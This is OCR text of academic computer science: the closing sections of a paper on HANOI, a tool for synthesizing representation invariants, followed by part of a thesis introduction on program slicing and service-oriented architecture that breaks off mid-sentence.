The ∨ STR mode simulates the LOOPINVGEN algorithm [21], a related data-driven system for inferring loop invariants. When running ∨ STR, if a candidate invariant $I_1$ is sufficient to prove the specification, but is not inductive, the algorithm attempts to synthesize a new predicate $I_2$ such that $v_m : r_m \triangleright I_1 \land I_2$ valid. In that case, $I_1 \land I_2$ is considered the new candidate invariant. This process continues until either the conjoined invariants are inductive, or they are overly strong so a new positive counterexample is found, at which point the whole process restarts. HANOI outperforms ∨ STR on all the benchmarks and solves 3 more benchmarks within 30 minutes. The main downside of ∨ STR is that it can only add new positive examples in order to weaken the candidate invariant after it has obviously over-strengthened. HANOI, in contrast, uses visible inductiveness checks to eagerly weaken in a directed manner. **Comparison to LA.** LA mode simulates the LINEARARBITRARY algorithm [31], which is used in a data-driven CHC solver. There are two differences from HANOI. First, LA tries to satisfy individual inductiveness constraints, generated for each function in the module, one at a time rather than all at once. Second, rather than eagerly searching for visible inductiveness violations, only full inductiveness counterexamples are obtained. However, if a full inductiveness counterexample happens to also be a visible inductiveness counterexample then it is treated accordingly. HANOI outperforms LA on all the benchmarks and is able to solve 4 more benchmarks within 30 minutes. While HANOI checks eagerly for positive counterexamples, LA finds them nondeterministically. Without performing the guided search through visible inductiveness checks, the algorithm sometimes gets “stuck” in holes of negative counterexamples. While the algorithm does seem to emerge from these holes eventually, it takes time. **Comparison to OneShot.** The OneShot mode uses “one shot learning” rather than an interative CEGIS algorithm. The OneShot algorithm runs the specification over the smallest 30 elements of the concrete implementation type, tagging each element as either positive or negative. Doing so generates sets $V_+$ and $V_-$, which may be supplied to the synthesizer. Whatever invariant synthesized is returned as the result. (This algorithm only works when the specification quantifies over a single element of the abstract type, which is true for all but 7 of our benchmarks.) Running the OneShot algorithm fails on all but one of our benchmarks, coq/unique-list-set, and does so for a variety of reasons. On some benchmarks, Myth times out, indicating that the given synthesis problem was too hard, and Myth needed to be provided fewer examples to find the right invariant. On some benchmarks, Myth returns the wrong invariant, indicating that the synthesis problem was underspecified, and too few examples were given. Merely choosing some fixed number of examples to build the invariant with is insufficient, that fixed number is too high for some benchmarks, and too low for others. ### 6 Related Work **Inferring Representation Invariants.** To our knowledge, the only prior work that attempts to automatically infer representation invariants for data structures is the Deryaft system by Malik et al. [15], which targets Java classes. There are three key differences between systems. First, Deryaft requires a fixed set of predicates (e.g., sortedness) as an input; the invariants generated are conjunctions of these predicates. In contrast, HANOI can learn new predicates from a general grammar of programs. Second, the conjunction of predicates that Deryaft produces consists of those predicates that hold on a fixed set of examples (generated from test executions). There is no guarantee the final invariant is inductive. In contrast, HANOI employs a CEGIS-based approach to refining the candidate invariant, terminating only when a sufficient representation invariant has been identified. Third, the Deryaft algorithm comes with no theoretical completeness guarantee. Solving constrained Horn clauses. Recently, several tools have been developed to infer predicates that satisfy a given set of constrained Horn clauses (CHCs). Inferring representation invariants can be seen as a special case of CHC solving, since all of our inductiveness constraints are Horn clauses (e.g., \((I_s, s_1) \land (I_s, s_2) \Rightarrow (I_s, \text{union} s_1 s_2))\). CHCs can include multiple unknown predicates in their inference problem, whereas there is only one in ours. However, existing CHC solvers do not support inference of recursive predicates, which is necessary to handle representation invariants over recursive data types. Several solvers support only arithmetic constraints [7, 8, 31], while others support arrays or bit vectors [5, 11, 13] as well. To our knowledge, Eldarica [11] is the only CHC solver that supports algebraic data types. However, Eldarica only computes recursion-free solutions [11, Sec III C] and therefore cannot express the sortedness or no-duplicates properties, for instance. Though they only handle arithmetic constraints, two of these solvers employ a data-driven technique that is similar to our approach, iterating between a synthesizer and a verifier [7, 31]. Like our work, the approach of Zhu et al. [31] leverages the observation that handling inductiveness counterexamples \((x, y)\) is easy when we know that \(x\) is constructible. However, their approach simply checks if a counterexample to full inductiveness happens to have this property, while we exhaustively iterate through these counterexamples until a candidate invariant is visibly inductive. Intuitively, our approach minimizes the number of inductiveness counterexamples that must be treated heuristically. We show that this difference results in a significant performance improvement, and we have proven a completeness result for finite domains, while the approach of Zhu et al. [31] lacks a completeness result. The approach of Ezudheen et al. [7] does have a completeness result, and it applies to the infinite domain of integers. However, they achieve this guarantee through the use of a specialized synthesizer designed to handle inductiveness counterexamples directly, while our approach can use any off-the-shelf synthesizer. There is also no obvious analogue to our analysis of higher-order programs in this context. Inferring inductive invariants. There have been many techniques developed to infer individual inductive invariants for program verification, for example an inductive invariant for a loop or for a system transition relation. As discussed in §2.2, module functions may consume or produce multiple arguments or results of the abstract type, which results in a more general class of inductiveness counterexamples, whereas loops and transition relations, when viewed as functions, consume and produce exactly one “state” (the analogue of an abstract value in our setting). HANOI is similar in structure to several data-driven invariant synthesis engines [2, 7, 8, 10, 14, 18, 19, 21, 25, 26]. We experimentally compared our algorithm to our implementations of the most closely related ones, adapted to the context of representation invariant synthesis (§5.5). Broadly, the technical distinctions are similar to those described above for data-driven CHC solvers. In particular: (1) our development of visible inductiveness is novel; (2) aside from one tool [10] that depends upon a special-purpose synthesizer to handles inductiveness counterexamples directly, none are proven complete; (3) they cannot process higher-order programs; and (4) to our knowledge, none infer recursive invariants. The ic3 algorithm for SAT-based model checking employs a notion of relative inductiveness [4], which is closely related to our notions of conditional and visible inductiveness. Formally, relative inductiveness is the special case of our conditional inductiveness relation \(v : \tau \triangleright^P Q\) \(\text{valid}\) where \(P\) has the form \(Q' \land Q\) and \(\tau = \alpha \rightarrow \alpha\). The ic3 algorithm uses relative inductiveness to incrementally produce an inductive invariant, by iteratively identifying a state \(s\) that leads to a property violation and then conjoining an inductive strengthening of \(\neg s\) to the candidate invariant. Our notion of visible inductiveness is also used to incrementally produce an inductive invariant, but it works in the opposite direction: we iteratively identify constructible values of the abstract type and use them to weaken the candidate invariant. This approach is a natural fit for our data-driven setting. Automatic data structure verification. The Leon framework [29] can automatically verify correctness of data structure implementations, but to do so, a user must manually define an abstraction function, which plays a similar role to a representation invariant. Namely, the abstraction function is a partial function mapping an element of the concrete type to an element of the abstract type. There are many techniques for proving properties of heap-based data structures, including shape analysis [24] and liq-uid types [12]. These techniques can prove and/or infer sophisticated invariants, often of imperative code. However, they are designed to tackle a different problem and do not infer the inductive representation invariants that are needed to prove modules correct. 7 Conclusion We present a novel algorithm for synthesis of representation invariants. Our key insight is that it is possible to drive progress of the algorithm towards its goal not by eagerly searching for fully inductive invariants, but rather by searching first for visibly inductive invariants. We have proven that our algorithm is sound and complete, given a sound and complete verifier and synthesizer, for a first-order type theory with finite types. We also explain how to extend the algorithm to modules containing higher-order functions, which involves using contracts to validate and collect objects that cross the module boundary. We evaluate our algorithm on 28 benchmarks and find that we are able to synthesize 22 of the invariants within 30 minutes (and most of those in under a minute). Our algorithm is defined independently of the black-box verifier and synthesizers; as research in verifier and synthesizer technologies improve, so too will the capabilities of our overall system. While the tool is currently fully automated, we view this as a step towards an interactive approach to helping users of proof assistants produce correct representation invariants. Acknowledgments Thanks to our shepherd James Bornholt and the other reviewers for their helpful comments. This work is supported in part by NSF grant CCF-1837129 and a PhD fellowship from Microsoft Research. References
{"Source-Url": "http://web.cs.ucla.edu/~todd/research/pldi20.pdf", "len_cl100k_base": 14657, "olmocr-version": "0.1.53", "pdf-total-pages": 15, "total-fallback-pages": 0, "total-input-tokens": 61558, "total-output-tokens": 18671, "length": "2e13", "weborganizer": {"__label__adult": 0.0003650188446044922, "__label__art_design": 0.0003609657287597656, "__label__crime_law": 0.0003261566162109375, "__label__education_jobs": 0.0008678436279296875, "__label__entertainment": 6.532669067382812e-05, "__label__fashion_beauty": 0.00016546249389648438, "__label__finance_business": 0.0001829862594604492, "__label__food_dining": 0.0003762245178222656, "__label__games": 0.0007724761962890625, "__label__hardware": 0.0008497238159179688, "__label__health": 0.0005245208740234375, "__label__history": 0.0002849102020263672, "__label__home_hobbies": 0.00010263919830322266, "__label__industrial": 0.0003888607025146485, "__label__literature": 0.0003025531768798828, "__label__politics": 0.00029468536376953125, "__label__religion": 0.00055694580078125, "__label__science_tech": 0.0268707275390625, "__label__social_life": 9.47713851928711e-05, "__label__software": 0.004772186279296875, "__label__software_dev": 0.96044921875, "__label__sports_fitness": 0.00032329559326171875, "__label__transportation": 0.0006504058837890625, "__label__travel": 0.00022232532501220703}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 71266, 0.02264]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 71266, 0.34321]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 71266, 0.84048]], "google_gemma-3-12b-it_contains_pii": [[0, 3495, false], [3495, 8910, null], [8910, 14137, null], [14137, 20292, null], [20292, 26928, null], [26928, 31106, null], [31106, 34921, null], [34921, 40386, null], [40386, 44970, null], [44970, 50400, null], [50400, 52340, null], [52340, 56833, null], [56833, 62958, null], [62958, 70047, null], [70047, 71266, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3495, true], [3495, 8910, null], [8910, 14137, null], [14137, 20292, null], [20292, 26928, null], [26928, 31106, null], [31106, 34921, null], [34921, 40386, null], [40386, 44970, null], [44970, 50400, null], [50400, 52340, null], [52340, 56833, null], [56833, 62958, null], [62958, 70047, null], [70047, 71266, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 71266, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 71266, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 71266, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 71266, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 71266, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 71266, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 71266, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 71266, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 71266, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 71266, null]], "pdf_page_numbers": [[0, 3495, 1], [3495, 8910, 2], [8910, 14137, 3], [14137, 20292, 4], [20292, 26928, 5], [26928, 31106, 6], [31106, 34921, 7], [34921, 40386, 8], [40386, 44970, 9], [44970, 50400, 10], [50400, 52340, 11], [52340, 56833, 12], [56833, 62958, 13], [62958, 70047, 14], [70047, 71266, 15]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 71266, 0.0]]}
olmocr_science_pdfs
2024-12-09
2024-12-09
ea6f0591314fee241e8251044b64d4ddfa2d11cc
CHAPTER - 1 Introduction Program slicing is a method of separating out the relevant parts of a program with respect to a particular computation. Thus, a slice of a program is a set of statements of the program that affects the value of a variable at a particular point of interest. Program slicing was originally introduced by Mark Weiser [140] as a method for automatically decomposing programs by analyzing their data flow and control flow dependencies starting from a subset of a program’s behavior. Slicing reduces the program to a minimal form that still produces the same behavior. The input that the slicing algorithm takes is usually an intermediate representation of the program under consideration [263]. Normally, the intermediate representation of the program under consideration is a graph. The first step in slicing a program involves specifying a point of interest, called the slicing criterion, which is expressed as \((s, v)\), where \(s\) is the statement number and \(v\) is the variable that is being used or defined at \(s\). Since the last couple of decades, the area of program slicing has been enriched by contributions from several researchers. Since its inception by Mark Weiser [140] as a debugging aid, many new techniques have evolved to enhance the accuracy, preciseness, and speed up of the process of slicing and to make program slicing usable in different applications. The technique of program slicing has evolved to handle unstructured and multi-procedure programs, structured as well as object-oriented, aspect-oriented, and feature-oriented programs. Also, these slicing techniques have found application in diverse problem areas such as software testing, debugging, software maintenance, understanding, code reuse, software refactoring, change impact analysis, coupling measurement etc. [71, 78, 79, 91, 127, 148, 149, 215, 216, 261]. Service-oriented architecture (SOA) is an architectural style for designing and developing distributed systems. Drivers for SOA adoption are easy and flexible for integration with legacy systems, streamlined business processes, reduced costs, and ability to handle rapidly changing business processes. From architectural and QoS parameters perspective, these drivers usually translate to interoperability and modifiability, which are achieved by adhering to a set of architectural principles for service-oriented systems such as loose coupling, standardization, reusability, composability, and discoverability. Testing of the service-oriented system is challenged by key factors like autonomy, heterogeneity, and dynamism. These autonomous systems have services/resources in their own control. The tester can request to test the system but may not force it to do so. Heterogeneity promotes software architect to design and construct components in their ways but during testing, the tester needs to test a variety of levels from networking protocols, encoding of information up to date formats. Dynamic service-oriented systems behave arbitrarily and may or may not participate in the business process. With these characteristics, testing of SOA-based applications is a difficult task because services may change their interfaces or behaviour at runtime. 1.1 Types of Program Slice Many different notions of program slices and slicing criteria have been proposed since Weiser’s definition [140] of a slice. The main reason for this diversity is the fact that various applications of program slicing have been investigated, and that each application requires specific properties of the slices. In this section, we discuss the various types of program slices: static and dynamic slices, backward and forward slices, and executable and closure slices, intra-procedural and inter-procedural slices, structured and unstructured slices, amorphous program slice, software architecture slice, real-time program slice, conditioned slice, and UML model slice. 1.1.1 Static and Dynamic Slices One of the criteria for classifying slices is to distinguish between static and dynamic slices. Static slices are computed without making any assumptions regarding the values of the variables. A static slice with respect to a variable and a location includes all the statements that could possibly affect the computation of that variable at that location. In contrast, dynamic slicing makes use of the input of the program in order to reduce the size of the slice. In other words, we can say that dynamic slicing techniques compute precise slices. Fig. 1.1(b) shows a static slice of the sample program given in Fig. 1.1(a) with respect to slicing criterion <13, prod>. Dynamic slicing was first suggested by Korel et al. [29] as a means for locating the cause of a program fault that is revealed by a particular execution. A **dynamic slice with respect to a slicing criterion** \(< s; V >\), for a particular execution, contains those statements that actually affect the slicing criterion in the particular execution. Therefore, dynamic slices are usually smaller than static slices and are more useful in interactive applications such as program debugging and testing. In such a situation, only the program’s behaviour for a specific input, rather than for the set of all inputs, is of interest. The sequence of statements that have actually been executed for the specific input is referred to as a trajectory or execution history. A trajectory differentiates each occurrence of the same statement. Typically a dynamic slice is computed with respect to an input, a variable, and a position in the trajectory. Dynamic slicing cannot be used to reason about all the possible computations with respect to a variable, and this characteristic limits its application to debugging. Static slices are computed using only static information whereas dynamic slices are generally (but not necessarily) computed using only dynamic information. However, Choi et al. [111], and Duesterwald et al. [65] reduce the amount of computations that have to be performed during the execution of the program, by using static information. Fig. 1.2(b) shows a dynamic slice of the sample program given in Fig. 1.2(a) with respect to slicing criterion \(< 13, \text{sum}, i = 5 \& n = 9 >\). A number of hybrid approaches act as a bridge between the two extremes of static and dynamic slicing, by considering a set of executions. The notion of quasi-static slice in which the values of some inputs are fixed while the other inputs are not specified was proposed by Venkatesh [80]. For Field et al. [112] a slice where any subset of the inputs of the program may be supplied is called a constrained slice. Ning et al. [113] have proposed the notion of condition-based slicing in which the inputs in the slicing criterion were characterized by a logical expression (for example age $> 30$). ### 1.1.2 Backward and Forward Slices Backward slices are composed of statements and control predicates that are collected by traversing backward. Thus, a static backward slice provides the answer to the question: “which statements affect the slicing criterion?”. Hence, these slices are called backward slices. Fig. 1.3(b) shows a backward slice of the sample program given in Fig. 1.3(a) with respect to slicing criterion $< 7, i >$. ![Figure 1.2: Dynamic slice of a sample program](image-url) Forward slices consist of the statements, which could (potentially) be affected by a given slicing criterion. A forward slice provides the answer to the question: “which statements will be affected by the slicing criterion?”. This variation of program slicing was first introduced by Bergeretti et al. [114] who called it information propagation within a program. The word “forward” was first used by Reps et al. [223]. Fig. 1.4(b) shows a forward slice of the sample program given in Fig. 1.4(a) with respect to slicing criterion < 2, sum >. in Fig. 1.4(b). Unless otherwise specified, we consider backward slices throughout this thesis. 1.1.3 Executable and Closure Slices Slices can be either executable or closure. Executable slices are syntactically valid programs, which preserve the behaviour of the original program with respect to the slicing criterion. On the other hand, closure slices consist of the statements and control predicates of the program that directly or indirectly affect the values computed at the criterion, but that do not necessarily constitute executable programs. An example that illustrates the difference between executable and closure slices is shown in Fig. 1.5. Fig. 1.5(a) shows the original program; Figs. 1.5(b)-(d) show the slices with respect to \( g2 \) at line (17). Fig. 1.5(b) is a closure slice and Figs. 1.5(c)-(d) are executable slices [156], where procedure \( p \) is specialized into two variants: \( p_1 \) and \( p_2 \). 1.1.4 Intra-procedural and Inter-procedural Slices Intra-procedural slicing computes slices within a single procedure. Calls to other procedures are either not handled at all or handled conservatively. The difficulty associated with inter-procedural slicing is to determine the inter-statement dependencies that exist between the statements from the calling procedure and those from the called procedure and those inter-statement dependencies that result from the call-return execution path. Many reported work [87, 90, 152] have successfully addressed the problems associated with slicing of programs involving inter-procedure calls. For distributed programs, intra-procedural slicing is meaningless as practical distributed programs contain more than one method. So, for distributed programs, inter-procedural slicing is more useful. 1.1.5 Unstructured Program Slice For many applications, particularly where maintenance problems are the primary motivation for slicing, the slicing algorithm must be capable of constructing slices from “spaghetti” programs, written before the benefits of structured programming were fully appreciated. This is because of unstructured programming style using goto statement; all forms of jump statement, such as break and continue can be regarded as special cases of the goto statement. Such programs are said to exhibit arbitrary control flow and are considered to be “unstructured”. The traditional program dependence graph based approach by Ottenstein et al. [177] incorrectly fails to include any goto statements in a slice. 1.1.6 Amorphous Program Slice Whether or not a slice is executable or non-executable, it is traditionally computed by deleting statements from the original program. The resulting slice can be regarded as a reduced version of the program. An effect minimal slice (later renamed amorphous slice) maintains the effect that the original program has upon the set of variables for which a slice is constructed. A variant of this conventional concept of a slice was introduced by Harman et al. [153]. Harman et al. [157] defined $q$ as an amorphous static slice of $p$ with respect to the slicing criterion $(K, i)$ if and only if $q$ is a $(\tau^{(K,i)}, \sqsubseteq_{AS})$ projection of $p$, where $\tau^{(K,i)}$ is syntax-preserving semantically equivalent slice and $\sqsubseteq_{AS}$ is semantic equivalence relation. Consider the example program fragments in Fig. 1.6. All the fragments are $(\tau^{(x,5)})$ equivalent to one another, but none is a traditional static slice of any of the others, as none is a syntactic subset of any of the others. However, since Program 1 contains fewer commands than Program 2, which contains fewer commands than Program 3, it can be concluded that Program 1 is a $(\tau^{(x,5)}, \sqsubseteq_{AS})$ projection of Program 2 and that Program 2 is $(\tau^{(x,5)}, \sqsubseteq_{AS})$ projection of Program 3. Furthermore, Program 1 is a $(\tau^{(x,5)}, \sqsubseteq_{AS})$ minimal projection of Programs 2 and 3 (and of itself), because no other $(\tau^{(x,5)})$ equivalent program has fewer commands. Amorphous static slicing is simply traditional static slicing with a relaxed simplicity measure, allowing, for example, Program 1 of Fig. 1.6 to be regarded as a slice of Programs 2 and 3 of Fig. 1.6. ![Figure 1.6: Examples of amorphous static slices](image) However, the slice does not have to be a subset of the original program, and transformations that preserve the semantics of the slice are allowed. Amorphous slicing does not slice away statements from the original program, one can argue that it cannot be accepted as a slicing method in the strict sense of the terminology. However, the important property of slicing, relied upon by all its applications, is the way it slices away semantic sub-components of the original program. Amorphous slicing is thus slicing in the semantic sense but not in the syntactic sense. 1.1.7 Software Architectural Slice Software architecture is receiving increasing attention as a critical design level for software systems. As software architectural design resources (in the form of architectural specifications) are going to be accumulated, the development of techniques and tools to support architectural understanding, testing, reengineering, maintenance, and reuse will become an important issue. Jianjun Zhao [101] introduced a new form of slicing, named architectural slicing, to aid architectural understanding and reuse. In contrast to traditional slicing, architectural slicing is designed to operate on the architectural specification of a software system, rather than the source code of a program. Architectural slicing provides knowledge about the high-level structure of a software system, rather than the low-level implementation details of a program. In order to compute an architectural slice, he presents the architecture information flow graph, which can be used to represent information flows in software architecture. Based on the graph, he gives a two-phase algorithm to compute an architectural slice. Kim et al. [217] introduced the notion of dynamic software architecture slicing (DSAS). A dynamic software architecture slice represents the run-time behavior of those parts of the software architecture that are selected according to a particular slicing criterion such as a set of resources and events. They also described a methodology for using the notion, and an algorithm to generate dynamic software architecture slices. The feasibility and the expected benefits of the approach were demonstrated through a study of part of an electronic commerce system and a run-time execution of its architecture using a tool. 1.1.8 Real-Time Program Slice Gerber et al. [196] described an approach to scheduling which relies upon slicing to identify the observable parts of a real-time system (those that interact with the environment through I/O operations) and the unobservable components (those which do not perform I/O). The unobservable computations need not fit within the time frame allocated to the task and are moved to the end of the task’s computation, increasing its schedulability. The system mixes slicing and the single transformation code motion, but it does simply to re-order computation and does not delete computations. Therefore, the system does not produce amorphous slices. 1.1.9 Conditioned Slice The conditioned slice was introduced by Canfora et al. [38]. A conditioned slice consists of a subset of program statements, which preserves the behaviour of the original program with respect to a set of program executions. The set of initial states of the program that characterizes this execution is specified in terms of first order predicate logic formula on the input variable. Conditioned slicing allows a better decomposition of the program giving the maintainer the possibility to analyze code fragments with respect to different perspectives. 1.1.10 UML Model Slice Lallchandani et al. [118] have proposed an approach to slice UML model. He described a model slice as a selection of model elements from a model, or a part of a model selected based on a particular slicing criterion. 1.1.11 Aspect-Oriented Program Slice Aspect-oriented programs work by providing an explicit mechanism for capturing the structure of crosscutting concern in a software system. Specific aspect-oriented features such as join points, advice, and the aspect that are different from existing procedural or object-oriented programming language. Zhao [117] describes how to slice such large aspect-oriented software. Various researchers have put their effort in slicing variant of aspect-oriented programs can be found in the literature [63, 126, 164]. 1.2 Issues in Program Slicing In this section, we discuss some of the major issues in the program slicing of service-oriented software (SOS). - **Accuracy** An accurate slice as defined by Agrawal [87] is one which includes a statement of a program only when the value of the given variable at the given location is affected by an occurrence of that statement. Although the concept of an accurate slice is simple in its description, determining whether or not a slice is accurate is not trivial. Furthermore, testing that an algorithm always computes accurate slices would require the elaboration of an infinite test set. No formal proof has been provided by the research community regarding the accuracy of slices. - **Intermediate Representation** In order to slice a service-oriented architecture (SOA)-based software, first, the program should be represented by a suitable intermediate representation. This intermediate representation should correctly represent the service-oriented architecture (SOA) features such as higher level abstraction, interoperability, composability, loose coupling, autonomy, reusability, statelessness, extensibility, testability and dynamic binding. A suitable intermediate representation in Chapter 4 for addressing higher level abstraction feature using service call dependency and composite dependency is developed. This intermediate representation is extended in Chapter 5 to represent interoperability and composibility features of service-oriented architecture (SOA)-based software by introducing intra-service dependency and inter-service dependency. In Chapters 6, suitable techniques for addressing testability features using semantic elements are developed. - **Memory Requirement** The memory requirement for both the intermediate representation and the static or dynamic slicing algorithms should be as small as possible. Otherwise, the stored data will run out of memory due to the large sizes of service-oriented architecture (SOA)-based software. Our intermediate representations and both static and dynamic slicing algorithms are equivalent to the existing ones with respect to memory space requirement. - **Time Requirement** The time requirement for any static or dynamic slicing algorithm should also be as small as possible as the algorithm will be generally used in interactive applications such as testing & debugging. Otherwise, the response time will be too large. Since we use program slicing as the basis for testing, we do consider time requirement as the performance criterion to measure the efficiency of our static and dynamic slicing algorithms. Even in the worst case, our algorithms perform equivalently to the existing ones. - **Correctness** The slicing algorithms should compute correct static or dynamic slices with respect to any given slicing criterion. A slice is said to be correct if it contains all the statements that affect the slicing criterion. We claim that each of the proposed static or dynamic slicing algorithms computes correct static or dynamic slices with respect to any given slicing criterion. - **Scalability** The static or dynamic slicing algorithms should be developed in such a way that the algorithms can easily be extended to handle large scale software as the size of service-oriented software (SOS) are very large, involving multiple partner web services. Our static or dynamic slicing algorithms can easily be extended to handle such large and complex software. ### 1.3 Overview of Service-Oriented Architecture (SOA) The emergence of service-oriented architecture (SOA) as an approach for integrating business applications that expose services, introduces many new challenges to organizations resulting in significant risks to their business. Particularly important among those risks are failures to effectively address QoS requirements such as performance, reliability, availability, security, testability and modifiability. Because the risk and impact of SOA are distributed across applications, it is critical to perform an architectural or model testing early in the software development life cycle. Service-oriented architecture (SOA) is a very popular architecture paradigm for designing and developing distributed systems. The SOA solutions have been crafted to satisfy business goals that include easy and flexible integration with legacy systems, streamlined business processes, reduced costs, innovative service to customers, agile adaptation and reaction to opportunities and competitive threats. One of the most important software engineering principles is phase containment error, which introduces checkpoints into the software development lifecycle phases. Software architecture testing is particularly important because architecture is the bridge between business goals and the software systems. Testing architecture or model that satisfies functional as well as non-functional (QoS) requirements (e.g., availability, security, and performance) is vital to the success of the system. Early testing of the requirements and the architecture save time and money. In this section, we define service-oriented architecture (SOA), and service. Also we discuss the important service characteristics along with various advantages associated with SOA. 1.3.1 What is Service-Oriented Architecture (SOA)? There are many definitions of SOA but none is universally accepted. We define a few important ones as below. - Erl [219] defines service-oriented architecture as a model in which automation logic is decomposed into smaller, distinct units of logic. Collectively, these units comprise a larger piece of business automation logic. Individually, these units can be distributed. - OASIS [176] defines service-oriented architecture as a paradigm for organizing and utilizing distributed capabilities that may be under the control of different ownership domains. It provides a uniform means to offer, discover, interact with and use capabilities to produce desired effects consistent with measurable preconditions and expectations. - Opengroup [209] defines service-oriented architecture as an architectural style that supports service orientation. Service-orientation is a way of thinking in terms of services and service-based development and the outcomes of services. - Microsoft [154] defines service-oriented architecture as an architectural pattern in computer software design in which application components provide services to other components via a communications protocol, typically over a network. The principles of service-orientation are independent of any vendor, product or technology. Service-oriented architecture (SOA) is a novel way to design, develop, deploy systems, in which services are reusable business functions exposed via well-defined interfaces, a separation of concern between the interface and its implementation, and service clients use service functionalities from available service descriptions. The SOA infrastructure enables dynamic discovery, dynamic composition, and dynamic invocation of services. From a technical point of view, SOA is an architectural style or design paradigm. Systems that are built based on the SOA principles are called service-oriented systems. 1.3.2 What is Service? The central pillar of service-oriented architecture (SOA) is the services. For an SOA, service - is a reusable component. - is self-contained, highly modular, autonomous business task. • is a distributed component. • has a published service interface. • stresses interoperability. • is discoverable. • is dynamically bound. 1.3.3 Important Service Characteristics • Service Encapsulations The services encapsulate logic within a distinct context. This context can be specific to a business task, a business entity, or some other logical grouping. The concern addressed by a service can be small or large. Therefore, the size and scope of the logic represented by the service can vary. Further, service logic can encompass logic provided by other services. In this case, one or more services are composed into a collective. As shown in Fig. 1.7, when building an automation solution consisting of services, each service can encapsulate a task performed by an individual step or a sub-process comprised of a set of steps. A service can even encapsulate the entire process logic. In the latter two cases, the larger scope represented by the services may encompass the logic encapsulated by other services. ![FIGURE 1.7: Service encapsulation](source) • **Service Relations** Within SOA, services can be used by other services or other programs. Regardless, the relationship between services is based on an understanding that for services to interact, they must be aware of each other. This awareness is achieved through the use of service descriptions. A service description in its most basic format establishes the name of the service and the data expected and returned by the service. The manner in which services use service descriptions results in a relationship classified as *loosely coupled*. For example, Fig. 1.8 illustrates that service A is aware of service B because service A has acquired B’s service description. ![Service relations diagram](image) **FIGURE 1.8:** Service relations • **Service Communications** ![Service communications diagram](image) **FIGURE 1.9:** Service communications After a service sends a message on its way, it loses control of what happens to the message thereafter. That is why we require messages to be fitted with enough intelligence to self-govern their parts of the processing logic. Hence, messages, like services, should be autonomous and self-governing. Fig 1.9 shows message existing as an independent unit of communication. 1.3.4 What is a Business Process? Business processes are a defined set of tasks that produce specific capabilities or products. Each task is composed of one or more services that are integrated to form the process [64]. 1.4 Advantages of Service-Oriented Architecture (SOA) This list of common advantages of SOA is generalized and certainly not complete. It is merely an indication of the potential that SOA can offer [219]. - **Improved integration (and intrinsic interoperability)** SOA can result in the creation of solutions that consist of inherently interoperable services. Because of the vendor-neutral communications framework established by web services-driven SOAs, the potential is there for enterprises to implement highly standardized service descriptions and message structures. The net result is intrinsic interoperability, which turns a cross-application integration project into less of a custom development effort, and more of a modeling exercise. - **Inherent reuse** Service-orientation promotes the design of services that are inherently reusable. Designing services to support reuse from the get-go opens the door to increased opportunities for leveraging existing automation logic. Building service-oriented solutions in such a manner that services fulfill immediate application-level requirements while still supporting the degree of reuse by future potential requesters establishes an environment wherein investments into existing systems can potentially be leveraged and re-leveraged as new solutions are built. - **Streamlined architectures and solutions** The concept of composition is another fundamental part of SOA. It is not, however, limited to the assembly of service collections into aggregate services. The WS-* platform is based in its entirety on the principle of composability. The reduced performance requirements mentioned previously only refer to the fact that SOA extensions are composable and therefore allow each application-level architecture to contain extensions only relevant to its solution requirements. • **Leveraging the legacy investment** The industry-wide acceptance of the web services technology set has spawned a large adapter market, enabling many legacies environments to participate in service-oriented integration architectures. This allows IT departments to work toward a state of federation, where previously isolated environments now can interoperate without requiring the development of expensive and sometimes fragile point-to-point integration channels. • **Establishing standardized XML data representation** On its most fundamental level, SOA is built upon and driven by XML. As a result, an adoption of SOA leads to the opportunity to fully leverage the XML data representation platform. A standardized data representation format (once fully established) can reduce the underlying complexity of all affected application environments. For examples the XML documents and accompanying XML schema definition (XSD) passed between applications or application components fully standardize format and typing of all data communicated. The result is a predictable and therefore easily extensible and adaptable communications network. XML’s self-descriptive nature enhances the ability for data to be readily interpreted by architects, analysts, and developers. The result is the potential for data within messages to be more easily maintained, traced, and understood. • **Focused investment on communications infrastructure** Because web services establish a common communications framework, SOA can centralize inter-application and intra-application communication as part of standard IT infrastructure. This allows organizations to evolve enterprise-wide infrastructure by investing in a single technology set responsible for communication. • **“Best-of-breed” alternatives** Because SOA establishes a platform-neutral communications framework, it frees IT departments from being chained to a single proprietary development and/or middleware platform. For any given piece of automation that can expose an adequate service interface, you now have a choice as to how you want to build the service that implements it. • **Organizational agility** Agility is a quality inherent in just about any aspect of the enterprise. Much of service-orientation is based on the assumption that what you build today will evolve over time. One of the primary benefits of a well-designed SOA is to protect organizations from the impact of this evolution. When accommodating change becomes the norm in distributed solution design, qualities such as reuse and interoperability become commonplace. The predictability of these qualities within the enterprise leads to a reliable level of organizational agility. However, all of this is attainable through proper design and standardization. Regardless of what parts of service-oriented environments are leveraged, the increased agility with which IT can respond to a business process or technology-related changes is significant. 1.5 Research Problem Definition The research problem that we are going to address in our work can be formulated by raising various questions as mentioned below: - Research Hypothesis: “Can program slicing be applied to test service-oriented software using service oriented architecture modeling language (SoaML) or business process modeling notation (BPMN) models”? - Research Assumption(s): Nil - What is the problem? The research problem can be defined by raising various research questions (RQs) and defining the expected outcome as given below: – Research Questions: * RQ1: What are the problems related to the testing service-oriented architecture (SOA)-based software? * RQ2: What are the benefits related to the testing service-oriented architecture (SOA)-based software? * RQ3: What will be the process of testing it? * RQ4: How effective will the proposed testing approach be for an organization in 